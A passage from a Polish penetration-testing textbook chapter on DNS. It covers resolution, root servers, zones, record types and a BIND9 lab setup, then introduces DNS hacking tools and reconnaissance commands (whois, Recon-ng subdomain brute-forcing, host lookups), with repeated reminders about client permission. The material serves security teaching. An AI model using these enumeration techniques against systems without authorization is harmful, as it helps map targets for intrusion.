będzie próbował uzyskać informacje na temat tej domeny, takie jak jej adres IP. W pierwszej kolej-
ności przejrzy dane dostępne lokalnie, ponieważ to najszybsze rozwiązanie. Najpierw sprawdzana
jest zawartość lokalnej pamięci podręcznej oraz pliku /etc/hosts (w systemach uniksowych, choć
istnieje on również w systemach Windows, gdzie zwykle znajduje się w katalogu C:\Windows\
System32\drivers\etc\hosts), a dopiero w następnej kolejności system wysyła zapytanie do sieci lo-
kalnej. Jeżeli system nie otrzyma żadnej odpowiedzi, a w lokalnych zasobach również nie ma infor-
macji opisujących podaną domenę, to kolejne zapytanie zostanie wysłane do znanego serwera DNS,
którym zwykle jest domowy router. Taki bliski serwer DNS może przechowywać odpowiedź na to
zapytanie w swojej pamięci podręcznej, ponieważ ktoś inny z tej samej sieci lokalnej wcześniej od-
wołał się do tej samej domeny. Jeżeli tak nie było, to serwer DNS zwróci adres IP innego serwera
nazw, do którego można przesłać swoje zapytanie. Taki serwer zazwyczaj znajduje się pod kontrolą
naszego dostawcy internetu.
Serwer nazw dostawcy internetu niemal na pewno będzie przechowywał odpowiedź na nasze
żądanie we własnej pamięci podręcznej. W końcu cały czas musi obsługiwać wiele zapytań pocho-
dzących od wszystkich klientów firmy. Jeżeli tylko któryś z tych klientów odwoływał się niedawno
do tej samej domeny (zapamiętywane informacje ulegają przedawnieniu po czasie zdefiniowanym
w parametrze TTL — Time To Live — określającym czas życia danej informacji), to nasze zapytanie

3681988c430c7fe1e8567c4e2f281f7b
3
116 Rozdział 5  System DNS

nie jest przesyłane dalej, bo nie ma już takiej potrzeby. Jeżeli jednak potrzebnej nam informacji nie
ma w pamięci podręcznej serwera, to przygotuje on w naszym imieniu kolejne zapytania, tak jak
zrobił to nasz router, wysyłając zapytanie do serwera dostawcy internetu. W tej sytuacji serwer DNS
stanie się klientem wysyłającym zapytania do innych serwerów (i zachowującym otrzymane odpo-
wiedzi w swojej pamięci podręcznej). Serwery nazw można skonfigurować tak, żeby same wyko-
nywały takie rekursywne zapytania (albo tego nie robiły), przechodząc całą drzewiastą strukturę,
aż do znalezienia odpowiedzi na zapytanie klienta.
Wyobraźmy sobie teraz, że serwer DNS dostawcy internetu nie ma w pamięci podręcznej nawet
informacji na temat domeny .com. W takim przypadku wyśle zapytanie do jednego z 13 podsta-
wowych serwerów nazw (oznaczanych literami od A do M), na przykład do serwera F znajdują-
cego się pod nadzorem konsorcjum Internet Systems Consortium. Adres URL tego serwera nazw
to https://www.isc.org/f-root, a jego adres IP to 192.5.5.241.

GŁÓWNE SERWERY NAZW

W rzeczywistości istnieje znacznie więcej niż tylko 13 komputerów obsługujących podsta-

wowy poziom systemu DNS. Każda z organizacji zarządza pewnym zbiorem serwerów w róż-
nych lokalizacjach geograficznych w celu redundancji zasobów oraz zwiększenia prędkości
działania. Pojedyncza organizacja nie powinna być w stanie kontrolować całego systemu DNS
i właśnie dlatego mamy wiele niezależnych organizacji zarządzających podstawowymi serwe-
rami nazw. W poniższej tabeli znajdują się nazwy hostów, adresy IP (w wersji IPv4 i IPv6), jak
również nazwy organizacji zarządzających każdym z 13 serwerów podstawowych. Każdy może
pobrać tę informację z adresu ftp://rs.internic.net/domain/named.root, aby wykorzystać ją we
własnych serwerach DNS.

NAZWA HOSTA ADRES IP ORGANIZACJA ZARZĄDZAJĄCA

a.root-servers.net 198.41.0.4 VeriSign, Inc.
2001:503:ba3e::2:30
b.root-servers.net 199.9.14.201 University of Southern California (ISI)
2001:500:200::b
c.root-servers.net 192.33.4.12 Cogent Communications
2001:500:2::c
d.root-servers.net 199.7.91.13 University of Maryland
2001:500:2d::d
e.root-servers.net 192.203.230.10 NASA (Ames Research Center)
2001:500:a8::e
f.root-servers.net 192.5.5.241 Internet Systems Consortium, Inc.
2001:500:2f::f
g.root-servers.net 192.112.36.4 U.S. Department of Defense (NIC)
2001:500:12::d0d
h.root-servers.net 198.97.190.53 U.S. Army (Research Lab)
2001:500:1::53

3681988c430c7fe1e8567c4e2f281f7b
3
Odpowiedzialność i strefy 117

NAZWA HOSTA ADRES IP ORGANIZACJA ZARZĄDZAJĄCA

i.root-servers.net 192.36.148.17 Netnod

2001:7fe::53
j.root-servers.net 192.58.128.30 VeriSign, Inc.
2001:503:c27::2:30
k.root-servers.net 193.0.14.129 RIPE NCC
2001:7fd::1
l.root-servers.net 199.7.83.42 ICANN
2001:500:9f::42
m.root-servers.net 202.12.27.33 WIDE Project
2001:dc3::35

Serwer nazw F nie poda naszemu dostawcy internetu adresu poszukiwanej domeny (duckduckgo.com),
ale wskaże miejsce, gdzie można uzyskać potrzebne informacje. Zwróci zatem adres IP serwera nazw,
który jest odpowiedzialny za obsługę domeny .com. W następnym kroku system dostawcy internetu
wyśle zapytanie do tego serwera i otrzyma od niego odpowiedź. Ale nadal nie będzie to poszuki-
wana przez nas informacja. Tym razem dostawca internetu otrzyma adres IP serwera nazw zajmu-
jącego się obsługą domeny duckduckgo.com, czyli adres serwera ns-175.awsdns-21.com. Teraz sys-
tem dostawcy internetu może już wysłać ostatnie zapytanie to tego serwera nazw, a w odpowiedzi
otrzyma adres IP pozwalający odwiedzić stronę duckduckgo.com. Ten adres przekazywany jest do
Twojego komputera za pośrednictwem serwera DNS działającego w Twoim routerze. Systemy do-
stawcy internetu zapiszą dane domeny duckduckgo.com w swojej pamięci podręcznej, na wypadek,
gdyby ktoś chciał ponownie ją odwiedzić. Podobnie zachowa się też Twój komputer i router. Jeżeli
teraz wpiszesz adres poddomeny, na przykład news.duckduckgo.com, to Twój komputer będzie już
znał adres serwera DNS, do którego powinien się zwrócić. To bardzo przyspiesza kolejne wyszuki-
wania w ramach tej samej domeny i zmniejsza obciążenie globalnych serwerów DNS. Jeżeli wyślesz
żądanie do często odwiedzanej strony WWW, to czas dostępu do niej będzie znacznie krótszy w po-
równaniu z czasem odwiedzania całkowicie nowej strony. Spróbuj odwiedzić kilka całkowicie no-
wych domen i porównaj czasy ich ładowania z czasami ładowania stron, które odwiedzasz często.

Odpowiedzialność i strefy
Niektóre serwery nazw odpowiadają za pewien podzbiór całego systemu nazw domen. Oznacza to,
że obsługują tylko i wyłącznie żądania dotyczące domen z określonej strefy. W poprzednim przy-
kładzie systemowi DNS zadawaliśmy pytanie o domenę duckduckgo.com. Ostatecznej odpowiedzi
na to zapytanie mógł udzielić tylko jeden serwer nazw, nazywany SOA (Start of Authority), domeny
duckduckgo.com. Oczywiście systemy naszego dostawcy internetu również mogły znać odpowiedź,
ale tylko w przypadku, gdy już wcześniej obsłużyły podobne zapytanie i zapisały odpowiedź w pa-
mięci podręcznej.

3681988c430c7fe1e8567c4e2f281f7b
3
118 Rozdział 5  System DNS

Serwer nazw domowego routera, czyli ten, z którego korzystasz na co dzień, raczej nie powinien
być serwerem z jakąkolwiek odpowiedzialnością. Nie powinien ponosić odpowiedzialności za
żadną strefę, ponieważ ten serwer ma zupełnie inne zadanie. Ma on jedynie przekazywać otrzy-
mane zapytania DNS do serwerów działających w internecie. Jest on serwerem rekursywnym i za-
pamiętującym, czyli odpytuje inne serwery nazw, aby uzyskać odpowiedź na otrzymane zapytanie,
a przy okazji zapamiętuje wszystkie uzyskane odpowiedzi pośrednie.
Serwer SOA dla domeny duckduckgo.com jest odpowiedzialny za wszystkie domeny ze strefy
duckduckgo.com. Nie udzieli on odpowiedzi na zapytania dotyczące domeny plus.google.com ani żad-
nej innej domeny ze strefy google.com, ponieważ nie odpowiada on za tę strefę. Serwer SOA dla do-
meny google.com nosi nazwę ns1.google.com. Na podobnej zasadzie serwer nazw domeny .com jest
odpowiedzialny wyłącznie za strefę .com i nie może odpowiadać na zapytania dotyczące strefy .net.
Tak naprawdę, takie firmy jak Google używają zwykle znacznie więcej niż tylko jednego serwera
DNS. Ma to na celu wprowadzenie redundancji do systemu, ponieważ wszystkie te serwery reali-
zują te same zadania i wszystkie uznawane są za serwer SOA. Takie serwery zwykle otrzymują na-
zwy ns1, ns2 itd. Jeżeli jeden z serwerów zostanie wyłączony, to pozostałe przejmują obsługę zapy-
tań skierowanych do wyłączonego. Takie strefy albo strefy nazw w ramach systemu DNS nazywane
są również strefami odpowiedzialności (ang. zones of authority) albo po prostu strefami.
System DNS tworzy hierarchię, na której szczycie znajdują się serwery podstawowe. Pozostałe
serwery w systemie tworzą drzewopodobną strukturę zaczynającą się od serwerów podstawowych.
Serwery podstawowe delegują część odpowiedzialności do serwerów nazw znajdujących się o po-
ziom niżej, czyli do serwerów domen najwyższego poziomu (TLD — top-level domain), które zaj-
mują się obsługą domen .com, .co, .org itp. Te z kolei delegują część odpowiedzialności do serwerów
niższego poziomu. Małe organizacje i osoby fizyczne zazwyczaj nie mają swoich własnych serwe-
rów nazw, ale wynajmują takie serwery od firm zajmujących się ich prowadzeniem. Najczęściej są
to firmy oferujące usługi hostingu stron WWW. Na rysunku 5.2 przedstawiamy hierarchię systemu
DNS z podziałem na strefy.

Rekordy zasobów w systemie DNS

System DNS jest bazą danych, choć jest ona podzielona na kawałeczki przechowywane na niezli-
czonych serwerach rozrzuconych po całym globie. Co więcej, taka konstrukcja bazy danych jest
jedną z silnych stron systemu DNS. W teorii dzięki decentralizacji nie powinna istnieć organizacja
kontrolująca całość systemu. Powstaje jednak pytanie: skoro system DNS jest bazą danych, to gdzie
i jak są przechowywane w niej dane? I kolejne: w jako sposób normalny użytkownik, ale i haker
może uzyskać dostęp do tej bazy danych?
Dane zapisane w systemie DNS nazywane są też rekordami zasobów (ang. resource records),
a te są zazwyczaj przechowywane w plikach tekstowych. Poszczególne rekordy zasobów można
traktować jak niezależne rekordy lub wiersze tabeli. Takie rekordy zawierają nie tylko adresy IP
i powiązane z nimi nazwy hostów, ale również wiele innych użytecznych informacji. Poniżej przed-
stawimy część typów rekordów zasobów, jakie mogą być przechowywane w systemie DNS. (Każdy typ
rekordu ma też swój skrót nazwy; takie skróty będziemy wykorzystywać w dalszej części książki).

3681988c430c7fe1e8567c4e2f281f7b
3
Rekordy zasobów w systemie DNS 119

Rysunek 5.2. Strefy DNS

Adres hosta (A — Address of Host) — podaje adres IP danego hosta, na przykład

123.45.67.89. Zazwyczaj to właśnie tę informację chcemy uzyskać, przesyłając do
serwera zapytanie zawierające nazwę hosta, takiego jak google.com.
Adres hosta (AAAA — Address of Host) — to samo co powyżej, ale w tym przypadku
podawany jest adres IPv6, a nie IPv4.
Nazwa kanoniczna (CNAME — Canonical Name) — inna nazwa aliasu. Nasza firma
może mieć dwie domeny wskazujące ten sam adres IP, a wtedy jedna z nich będzie
aliasem. Jeżeli ktoś przesyła zapytanie o domenę w tym rekordzie, to w odpowiedzi
otrzyma rekord A.
Poczta (MX — Mail Exchanger) — mówimy tutaj o serwerach pocztowych,
przy czym może to być zarówno nazwa hosta, jak i adres IP.
Serwer nazw (NS — Name Server) — przechowuje informacje o serwerze nazw
obsługującym daną strefę.
Początek odpowiedzialności (SOA — Start of Authority) — ten rekord jest większy
od pozostałych, można go znaleźć na początku każdego pliku strefy. Zawiera on
podstawową nazwę serwera danej strefy oraz inne informacje.

3681988c430c7fe1e8567c4e2f281f7b
3
120 Rozdział 5  System DNS

Wskaźnik (PTR — Pointer) — wskaźniki są stosowane przy odwrotnym wyszukiwaniu

w systemie DNS, czyli wtedy, gdy podając adres IP, chcemy poznać nazwę hosta.
Te zapisy przydają się, gdy nie znamy nazwy hosta, ale znamy jego adres IP,
co pozwala na przeprowadzenie odwrotnego wyszukiwania.
Tekst (TXT — Text) — to prosty rekord tekstowy. Takie rekordy są stosowane w celu
wprowadzenia dodatkowych funkcji do systemu DNS i mogą przechowywać najróżniejsze
informacje. Czasami administratorzy stosują je do wprowadzania notatek czytelnych
dla człowieka.
Za chwilę omówimy też metody dostępu do poszczególnych rekordów, ale najpierw musimy
przyjrzeć się oprogramowaniu działającemu na serwerach nazw oraz metodom ich konfigurowania.
W internecie najczęściej używanym oprogramowaniem serwerów DNS jest BIND (Berkeley
Internet Name Domain), dostępny w wielu różnych wersjach (BIND4, ale też BIND8 i BIND9).
Ze względu na rozpowszechnienie i ważną rolę tego oprogramowania (ale i innych serwerów DNS)
jego kod uznawany jest za najważniejszy dla działania internetu. Pod koniec lat 90. XX wieku za-
częto intensywnie poszukiwać błędów w kodzie serwerów BIND i zwiększać ich zabezpieczenia.
Prowadzono audyty i przeglądy, w wyniku których dodawano nowe procedury obsługi błędów.
Nadal próby czytania kodu serwera mogą przyprawiać o ból głowy, szczególnie jeżeli chodzi o jego
starsze wersje. Jego analizowanie jest naprawdę bardzo utrudnione. Jak można się domyślać, z cza-
sem pojawiało się wiele różnych błędów programistycznych, które w efekcie tworzyły różne podat-
ności wykorzystywane przez hakerów. W tym rozdziale skupimy się na serwerach BIND, ale nie
można zapominać o tym, że istnieją też inne implementacje, takie jak poniższe:
 DJBDNS,
 PowerDNS,
 MaraDNS,
 MSDNS,
 DNSmasq.
W przykładach z tego rozdziału będziemy jednak używać serwerów BIND9. Nie jest to najnow-
sza wersja tego oprogramowania, ale nadal jest powszechnie wykorzystywana w internecie. Istnieje
już wersja BIND10, którą można pobrać z adresu https://www.isc.org/downloads/platform, ale kon-
sorcjum ISC nie zajmuje się już jej dalszym rozwojem. Sam projekt otrzymał nazwę BUNDY, aby
uniknąć pomyłek z wersją BIND9. W czasie pisania tej książki nad wersją BUNDY nie prowadzono
aktywnych prac.

BIND9
Na potrzeby prowadzonych testów dobrze jest przygotować sobie własny serwer DNS, aby wy-
próbować na nim różne techniki hakowania. Zaleca się, żeby nie ujawniać w internecie własnego
serwera DNS, przynajmniej do czasu uzyskania pewności, że nie da się do niego łatwo włamać.
Proponujemy zatem pobrać kopię serwera Ubuntu Server (https://ubuntu.com/download/server)
lub Debian (https://www.debian.org/distrib) i zainstalować go w nowej maszynie wirtualnej.

3681988c430c7fe1e8567c4e2f281f7b
3
BIND9 121

Po skonfigurowaniu i uruchomieniu można zainstalować serwer BIND9 w oknie terminala, tak

samo jak robiliśmy to z innymi pakietami. (Pamiętaj o konieczności stosowania polecenia sudo albo
korzystania z konta użytkownika root).
W laboratorium dołączanym do tej książki znajduje się już działający serwer BIND9, dlatego
nie musisz wykonywać podanych niżej działań, jeżeli nie masz na to ochoty.
Dane konfiguracyjne serwera BIND znajdują się w pliku /etc/bind/named.conf, który jest
głównym plikiem konfiguracji, dlatego warto się mu przyjrzeć na samym początku. W tym
przypadku nazwa named jest skrótem od angielskich słów „name daemon” i powinno się ją
wymawiać „nejm di”.
cd /etc/bind
cat named.conf

W ten sposób zobaczysz, że ten plik wymienia jedynie kolejne nazwy plików. Jedną z nich jest
nazwa pliku named.conf.local. Możesz otworzyć go do edycji i utworzyć w nim nową strefę.
vim named.conf.local

Do otwartego pliku dopisz poniższe zapisy:

zone "mojadomena.pl"
{
type master;
file "/etc/bind/db.mojadomena.pl";
};

Ten plik wskazuje teraz inny plik, który jeszcze nie istnieje, dlatego musisz go utworzyć za po-
mocą tego polecenia:
vim db.mojadomena.pl

Edytuj ten plik, aby znalazły się w nim poniższe zapisy. Zauważ, że rekord SOA znajduje się na
początku pliku, a rekord A zawiera informację o adresie IP. Podane tu adresy IP są adresami we-
wnętrznymi, ponieważ nasz serwer nazw nie ma być dostępy publicznie. Pozostałe elementy z tego
pliku tekstowego będą wyjaśniane w dalszej części tego rozdziału.
$TTL 604800@ IN SOA mojadomena.pl. root.mojadomena.pl . (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
IN A 10.10.10.10
@ IN A 10.10.10.10
@ IN AAAA ::1
@ IN NS ns.mojadomena.pl.
ns IN A 10.10.10.10

Z podanego wyżej przykładu może nie wynikać jednoznacznie, dlatego proszę zapamiętać,
że plik strefy (ang. zone file) taki jak podany powyżej jest tylko tabelą rekordów, w której spacje
są separatorami. Jeżeli przenieślibyśmy dane z powyższego pliku do ładnie sformatowanej tabeli,
to otrzymalibyśmy tabelę 5.1.

3681988c430c7fe1e8567c4e2f281f7b
3
122 Rozdział 5  System DNS

Tabela 5.1. Prezentacja zawartości pliku strefy DNS

NAZWA TTL KLASA REKORDU TYP REKORDU DANE REKORDU

@ IN
IN
@ IN
@ IN
@ IN
ns IN
SOA mojadomena.pl. root.mojadomena.pl.
(2604800 86400 2419200 604800 )
A 10.10.10.10
NS ns.mojadomena.pl
A 10.10.10.10
AAAA ::1
A 10.10.10.10

Zauważ, że przed tabelą znajduje się zapis $TTL 604800. Oznacza on ustalenie globalnej wartości
parametru TTL obowiązującej dla wszystkich rekordów z tego pliku. Parametr TTL ustala czas
w sekundach, po jakim przedawnia się wybrana informacja danego rekordu zasobu. Po upływie
tego czasu serwer nazw używający pamięci podręcznej powinien usunąć wybrany rekord i ponow-
nie uzyskać informacje na jego temat. Dzięki temu serwery DNS mogą aktualizować nazwy hostów,
adresy IP i inne informacje.
Oto wyjaśnienie znaczenia pozostałych znaków i skrótów widocznych w tabeli 5.1:
; — ten znak używany jest do wprowadzania komentarzy.
@ — ten znak reprezentuje pochodzenie strefy (ang. zone origin). Jeżeli w tym pliku
zdefiniowalibyśmy pochodzenie strefy za pomocą zmiennej $ORIGIN, to każdy symbol @
użyty w tym pliku miałby znaczenie równe wartości tej zmiennej. W związku z tym, że nie
zdefiniowaliśmy tu zmiennej $ORIGIN, wartość symbolu @ pochodzi z nazwy strefy zapisanej
w pliku named.conf, która w tym przypadku ma wartość mojadomena.pl. (Tę nazwę
ustaliliśmy w pliku named.conf.local, który został dołączony do pliku named.conf).
Nazwa — to nazwa, która jest powiązana z adresem podanym w polu danych rekordu.
Jeżeli w tym miejscu pojawia się tylko spacja, to nazwa jest kopiowana z poprzedniego
wiersza. W tym pliku spacja (oznaczająca domenę mojadomena.pl) zostaje powiązana
w drugim wierszu z adresem 10.10.10.10.
Klasa rekordu — zazwyczaj pojawia się tutaj wartość IN, która oznacza internet. Często
używana jest jeszcze klasa CH, która oznacza chaos. Na temat klasy CHAOS będziemy
mówić w dalszej części tego rozdziału.
Typ rekordu — o typach rekordów mówiliśmy już wcześniej w tym rozdziale. W podanym
przykładzie widać, że stosowane są rekordy typu SOA, A, NS i AAAA, oznaczające
odpowiednio: początek odpowiedzialności, adres IPv4, serwer nazw i adres IPv6.
Dane rekordu — ta wartość zależy od typu rekordu, ale często jest nią adres IP lub nazwa
hosta. W pierwszym rekordzie z naszej tabeli (rekordzie SOA) zapisanych jest więcej
informacji, zaczynających się od root.mojadomena.pl.. Tak naprawdę mamy tu do czynienia
z adresem e-mail, który nominalnie ma postać root@mojadomena.pl. W nawiasach
podawana jest liczba wartości reprezentujących kolejno: numer seryjny pliku, czas
odświeżania, czas ponawiania próby, czas przedawnienia i wartość parametru TTL.

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia do hakowania serwerów DNS 123

Numer seryjny — ten numer jest inkrementowany za każdym razem, gdy plik strefy
zostaje zaktualizowany. Zazwyczaj w roli numeru seryjnego używa się daty, ale
w poprzednim przykładzie użyliśmy liczby 2.
Z pewnością zauważysz, że jeden z rekordów ma typ NS. To w nim przechowywana jest nazwa
hosta danego serwera nazw, którym tutaj jest ns.mojadomena.pl. Na liście widoczny jest jeszcze
rekord o nazwie ns, który podaje adres IP serwera nazw. W takim pliku można często znaleźć też
inne nazwy, takie jak mail, vpn, ns1 lub ns2, a to tylko kilka przykładów przewidywalnych nazw,
które można łatwo odgadnąć.
Po wprowadzeniu zmian do pliku strefy i poznaniu jego zawartości możemy ponownie uru-
chomić serwer BIND (a dokładniej serwer BIND9), tak żeby nasze zmiany zostały wprowadzone
w życie.
systemctl restart bind9.service

Teraz możesz użyć programu Dig (Domain information groper), aby sprawdzić konfigurację
serwera. Dig jest narzędziem, z którego będziemy często korzystać w tym rozdziale. Program ten
należy uruchomić na samym serwerze, który nie powinien być podłączony do internetu. W ten
sposób Dig wyśle zapytania do naszego serwera nazw i nie będzie poszukiwał w internecie danych
domeny mojadomena.pl.
dig mojadomena.pl

Na ekranie powinien pojawić się komunikat o statusie NOERROR. W odpowiedzi serwera powinny
znajdować się sekcje: ANSWER SECTION, AUTHORITY SECTION i ADDITIONAL SECTION, przechowujące
szczegółowe informacje, które wcześniej zapisaliśmy w pliku strefy. Warto też zauważyć, że za-
pytanie zostało wysłane do serwera o adresie 127.0.0.1 na porcie 53, czyli wszystko odbyło się
w lokalnym komputerze. Po wstępnym przygotowaniu serwera nazw możemy pokusić się o jego
rozbudowę albo od razu przyjrzeć się różnym sposobom hakowania takich serwerów.

Narzędzia do hakowania serwerów DNS

Oto kilka narzędzi, których będziemy używać w tym rozdziale, aby zademonstrować techniki ha-
kowania serwerów DNS. Każde z tych narzędzi jest łatwo dostępne w internecie, a wielu z nich
można używać nie tylko wobec serwerów DNS. Nmap, Metasploit i Wireshark to narzędzia, które
wykorzystamy w tym rozdziale, ale które będą też używane i wymieniane w niemal każdym z póź-
niejszych rozdziałów.
Dig — narzędzie do wysyłania zapytań DNS.
NSlookup — inne narzędzie do wysyłania zapytań DNS.
DNSrecon — skrypt przeprowadzający rekonesans serwera nazw.
DNSenum — narzędzie do enumerowania informacji uzyskanych z serwera nazw.
Fierce — narzędzie do skanowania serwera nazw, podobne do programów Dnsrecon i dnsenum.
Host — kolejne narzędzie do wysyłania zapytań DNS.
WHOIS — nazwa protokołu i narzędzia do pozyskiwania informacji z systemu DNS.

3681988c430c7fe1e8567c4e2f281f7b
3
124 Rozdział 5  System DNS

DNSspoof — narzędzie do tworzenia fałszywych pakietów DNS.

Dsniff — narzędzie do sprawdzania pakietów i pamięci podręcznych DNS.
Hping3 — narzędzie do tworzenia i wstrzykiwania własnych pakietów, które przydaje się
w wielu różnych scenariuszach.
Scapy — narzędzie do wstrzykiwania pakietów.
Nmap — skaner portów sprawdzający wszystkie porty wskazanego hosta i zwracający
uzyskane informacje.
Searchsploit — narzędzie do poszukiwania znanych exploitów, skryptów i innych informacji.
MSFconsole — modułowe narzędzie działające w wierszu poleceń, które jest częścią
popularnego frameworku do testów penetracyjnych Metasploit.
Wireshark — narzędzie do kontrolowania pakietów przepływających przez sieć.

Znajdowanie hostów
Zanim zaczniesz hakować serwer nazw swojego klienta, musisz się dowiedzieć, gdzie tego serwera
szukać. Jeżeli klient zgodził się na wykonanie sprawdzenia metodami OSINT, to ze znalezieniem
serwera musisz sobie poradzić samodzielnie. Jeżeli w umowie nie było mowy o fazie OSINT, to
klient powinien samodzielnie podać Ci adres IP lub domenę. Istnieją jednak pewne metody po-
zwalające na znalezienie odpowiedniego serwera nazw.

WHOIS
WHOIS to protokół używany do odpytywania serwerów nazw oraz uzyskiwania informacji o ad-
resach IP. Istnieje też narzędzie o takiej samej nazwie (zapisanej małymi literami), którego można
użyć do zbierania informacji na temat badanej sieci. Szybko zauważysz, że nazwy serwerów DNS
są częścią informacji zwracanych przez to narzędzie. Te konkretne działania mogą zostać wykonane
w ramach prac OSINT, ponieważ to narzędzie korzysta z zasobów przechowujących dane dostępne
publicznie. Spróbujmy zatem poszukać pewnych informacji o domenie, na przykład takiej jak poniższa:
whois hacker.house

Zauważysz, że w odpowiedzi otrzymamy całkiem sporo rekordów. Oto wycinek informacji na

temat domeny hacker.house, zwróconej przez program whois:
Domain Name: hacker.house
Registry Domain ID: 352bd557d6784552ad6625394453af50-DONUTS
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://www.tucows.com
Updated Date: 2018-08-08T16:19:43Z
Creation Date: 2015-09-02T15:36:01Z
Registry Expiry Date: 2019-09-02T15:36:01Z
Registrar: Tucows Domains Inc.
Registrar IANA ID: 69
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientTransferProhibited

3681988c430c7fe1e8567c4e2f281f7b
3
Znajdowanie hostów 125

https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited
https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID: REDACTED FOR PRIVACY
Name Server: ns3.livedns.co.uk
Name Server: ns1.livedns.co.uk
Name Server: ns2.livedns.co.uk

Można zauważyć, że na końcu listingu pojawiają się adresy trzech serwerów nazw. Owszem, to
naprawdę jest tak proste. W końcu serwery nazw powinny być łatwe do znalezienia. Przy okazji
można też zauważyć, że żaden z tych trzech adresów serwerów nazw nie ma w sobie niczego wska-
zującego bezpośrednio na powiązanie go z domeną hacker.house.

Jedną z metod uzyskiwania informacji, takich jak nazwy hostów, jest ich
zgadywanie. A jeszcze lepiej jest przygotować sobie wiele takich przypuszczeń. Innymi
słowy, część informacji można uzyskać za pomocą metod siłowych. Metody siłowe (ang.
brute-force) to termin, z którego będziemy często korzystali w tej książce, szczególnie
w odniesieniu do zgadywania haseł. Sama koncepcja nie zmienia się zależnie od tego, czy
chcemy siłowo uzyskać nazwy użytkowników, hasła, nazwy domen, nazwy hostów lub inne
informacje. W przypadku nazw hostów takie podejście niemal na pewno pozwoli uzyskać
pewne dane. Ludzie mają tendencję do stosowania pewnych przewidywalnych konwencji
podczas tworzenia nazw użytkowników, adresów e-mail, nazw domen i subdomen. Sie-
ciowcy korzystają z typowych nazw hostów, co bardzo ułatwia pracę zarówno im, jak i nam.
Przekonasz się, że niezliczone organizacje korzystają z takich samych subdomen:
mail.przyklad.pl
firewall.przyklad.pl
webserver.przyklad.pl
vpn.przyklad.pl
www.przyklad.pl
web.przyklad.pl
webmail.przyklad.pl

Siłowe poznawanie nazw hostów za pomocą Recon-ng

Jednym ze sposobów znajdowania list nazw hostów, w tym i serwerów nazw, jest stosowanie metod
siłowych lub enumerowania kolejnych hostów. W ten sposób zazwyczaj uzyskamy listę hostów lub
subdomen, takich jak mail.przyklad.pl, vpn.przyklad.pl lub ns1.przyklad.pl. Ta ostatnia nazwa jest
powszechnie nadawana serwerowi nazw, a dla zachowania redundancji podobnych serwerów zwy-
kle będzie więcej.
Moduł brute_hosts z pakietu Recon-ng stosuje jedną z metod enumerowania nazw hostów.
Należy go uruchamiać dla istniejącej już nazwy domeny, aby jak najskuteczniej sprawdzić dostępne
w nim funkcje. Możesz wykorzystać do tego celu domenę hacker.house. Tak jak w poprzednim
rozdziale otwórz program Recon-ng, a następnie wybierz w nim moduł brute_hosts.
modules load recon/domains-hosts/brute_hosts

3681988c430c7fe1e8567c4e2f281f7b
3
126 Rozdział 5  System DNS

Pamiętaj, że za pomocą poniższego polecenia możesz uzyskać informacje na temat wybranego

modułu:
info

Za pomocą poniższego polecenia możesz przejrzeć listę domen, którymi będzie zajmował się
aktywny moduł:
show domains
[*] No data returned.

Taka pusta lista oznacza, że dla modułu nie wybrano jeszcze żadnej domeny. Dodaj teraz domenę
hacker.house i jeszcze raz wprowadź polecenie wypisujące listę domen z programu Recon-ng. Tym
razem nowo dodana domena powinna być widoczna na wypisanej liście.
db insert domains hacker.house~

Teraz możesz uruchomić moduł, używając do tego polecenia run. Po zakończeniu pracy można
wypisać wszystkie znalezione hosty za pomocą polecenia show hosts.
run
show hosts

Jeżeli w ten sposób zbadasz domenę swojego klienta, to na pewno uzyskasz całą listę potencjal-
nych celów ataku. Wszystkie uzyskane nazwy powinny zostać potwierdzone przez klienta, jeszcze
zanim zaczniesz jakiekolwiek bardziej zdecydowane działania. Co więcej, przed uruchomieniem
takiego narzędzia jak Recon-ng dobrze jest uzyskać na to pozwolenie klienta, ponieważ programy
z tej kategorii mogą być naprawdę natrętne.

Host
Jeżeli chcesz szybko przeprowadzić wyszukiwania hostów, możesz skorzystać z narzędzia host.
Czasami w odpowiedzi otrzymasz nawet kilka adresów IP. Oto przykład takiej sytuacji:
host google.co.uk

Takie polecenie zwraca adresy IPv4 i IPv6, a także pięć hostów pocztowych z przypisanymi im
priorytetami. (Na temat serwerów pocztowych będziemy mówić w następnym rozdziale).
google.co.uk has address 216.58.198.163
google.co.uk has IPv6 address 2a00:1450:4009:809::2003
google.co.uk mail is handled by 20 alt1.aspmx.l.google.com.
google.co.uk mail is handled by 10 aspmx.l.google.com.
google.co.uk mail is handled by 40 alt3.aspmx.l.google.com.
google.co.uk mail is handled by 30 alt2.aspmx.l.google.com.
google.co.uk mail is handled by 50 alt4.aspmx.l.google.com.

Podczas pracy dla klienta często najpierw uzyskujemy adres IP wybranej maszyny, a dopiero
potem poznajemy jej nazwę hosta. Czasami jesteśmy w stanie określić, czym zajmuje się dany host
(a przynajmniej wysnuć odpowiednie przypuszczenia) dzięki prostemu zapytaniu do systemu
DNS. W takim przypadku można użyć polecenia host, podając mu w parametrze adres IP zamiast
nazwy hosta. Oto przykład:
host 9.9.9.9

3681988c430c7fe1e8567c4e2f281f7b
3
Wyszukiwanie serwerów SOA za pomocą Dig 127

W ten sposób można poznać nazwę hosta związanego z podanym adresem IP. To właśnie
w takich zapytaniach wykorzystywany jest rekord wskaźnika (PTR).
9.9.9.9.in-addr.arpa domain name pointer dns.quad9.net.

Wygląda to dziwnie, ale system DNS musi używać takich nazw domen jak widoczny wyżej adres
9.9.9.9.in-addr.arpa, aby móc zmienić otrzymany adres IP w bardziej czytelną nazwę hosta. System
nie jest w stanie wykonać wyszukiwania na samym adresie IP. Takie zapytanie działa niemal tak
samo jak zwyczajne zapytania, dlatego w poszukiwaniu odpowiedzi system będzie odpytywał wiele
różnych serwerów, zaczynając od serwerów podstawowych (.), następnie przechodząc do serwerów
strefy (lub poziomu) arpa., potem do serwerów strefy in-addr.arpa., a następnie do serwerów strefy
9.in-addr.arpa. itd. Ostatni serwer, który w rekordzie PTR ma zapisany adres 9.9.9.9.in-addr.arpa,
zwróci nam poszukiwaną odpowiedź, którą w tym przypadku jest dns.quad9.net.. Zwróć uwagę na
końcową (całkowicie poprawną) kropkę w zwróconym adresie, która jest wymagana przez wiele
różnych narzędzi systemu DNS.

Wyszukiwanie serwerów SOA za pomocą Dig

